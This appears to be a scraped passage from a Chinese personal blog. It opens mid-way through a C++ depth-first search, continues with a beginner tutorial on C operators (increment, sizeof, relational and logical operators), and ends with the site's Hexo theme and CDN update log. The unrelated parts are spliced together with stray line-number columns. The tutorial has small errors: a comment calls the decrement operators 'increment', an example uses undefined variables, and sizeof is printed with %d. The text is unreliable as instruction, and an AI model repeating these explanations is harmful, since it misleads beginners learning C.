      if(x<0||y<0||x>=row||y>=col) return;  //边界判定
      if(a[x][y]==1) return;  //是否已经走过这个点
      if(he(x,y)>k) return;   //如果x+y大于k的话（不符合条件）
      //剩下的符合条件的情况 的操作
      a[x][y]=1;
      n++;
      dfs(x-1,y); //上
      dfs(x+1,y); //下
      dfs(x,y-1); //左
      dfs(x,y+1); //右

      return;
}
};

1
2
3
4
5
6
7
8
9
10
11

#include <stdio.h>

int main()
{
  int a, b;

  while(scanf("%d %d",&a, &b) != EOF)
    printf("%d\n", a + b);

  return 0;
}

int main:

while(scanf()):

return 0:

算术运算符；

• ±/* 我就不介绍了

• %余数运算符，整除后的余数
  B%A 将得到 3

i++与++i

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

#include <stdio.h>
main()
{
 int i,a;//定义i，a俩个变量
 i=5;
 a=0; //赋值俩个变量
 a=i++; //进行i++运算
 printf("%d\n",i); // 打印输出i，这里的i无论是i++还是++i，都会+1
 printf("%d\n",a); //表示整个i++式子的变量

 i=5;
 a=0;
 a=++i;
 printf("%d\n",i);
 printf("%d\n",a);

 i=5;
 a=0;
 a=--i;
 printf("%d\n",i);
 printf("%d\n",a);

 i=5;
 a=0;
 a=i--;
 printf("%d\n",i);
 printf("%d\n",a);


 return 0;

}

变量名++； // 表示在本次使用变量后再自增；
++变量名; // 表示在本次使用变量前自增；
变量名–； // 表示在本次使用变量后再自增；
–变量名; // 表示在本次使用变量前自减；

• 其实很简单，无论是i++还是++i，i这个变量一定会变，那么i++与++i有什么不同呢？

• i++这个式子的值还是i，++i式子的值是i+1，不同的是式子的值

赋值运算符

字符串（字符数组）不能使用赋值运算符。

sizeof运算符；

• sizeof是C语言的关键字，它用来计算变量（或数据类型）在当前系统中占用内存的字节数。

• sizeof不是函数，产生这样的疑问是因为sizeof的书写确实有点像函数，sizeof有两种写法：

1
2

sizeof(数据类型);

• 俩种写法

1
2
3
4
5
6

printf("%d",sizeof(a)); //输出a的占用字节数
printf("%d",sizeof a ); //对于变量也可以不加括号
printf("%d",sizeof(int)); //输出4，对于数据类型，必须加括号

个人建议全部加括号

关系运算符；

1
2
3
4
5
6

==  =
<=  ≤
>=  ≥
>   大于
<   小于
这些不多说了

• != 表示不等于

逻辑运算符；

• 在 c语言中，三个逻辑运算符，与vb，python稍微不同，意思一样，写法不同

&& (与)

1

if (a>-1 && a<0)  //表示只有满足俩个条件时才继续运行

||（或）

1

if (a>-1 || a<0)  //表示满足其中一个条件时才继续运行

!（非）

1

if (!(a>-1))  //表示不满足此条件时运行

位运算符。

此文章仅作为网站更新日志

列表

• 2022.1.23

  • update
    • 更新butterfly4.0.1版本
    • 根据config修改了CDN
    • twikoo版本更新
  • fix
    • 图片无法显示问题
    • twikoo 显示错误

• 2021.7.22 22:33

  • 修改又拍云配置，禁用云储存，申请又拍云联盟代金卷
  • 增加https://impdx.vercel.app/ 托管至vercel

• 2021.7.22

  • 从hexo4.2切换到hexo5.4
  • 从butterfly2.8更新至3.8.2
  • 更新nodejs版本
  • 去除coding的托
  • 去除三家cdn混用，引入又拍云cdn并同步至又拍云储存
  • 去除aplayer吸顶音乐
  • 更新各种插件版本
    • hexo-abbrlink
    • hexo-baidu-url-submit
    • hexo-filter-nofollow
    • hexo-generator-baidu-sitemap
    • hexo-generator-sitemap
    • hexo-renderer-markdown-it
    • hexo-offline
    • @neilsustc/markdown-it-katex
    • hexo-generator-feed

• 2020年 太久远了 没有记录哦^_^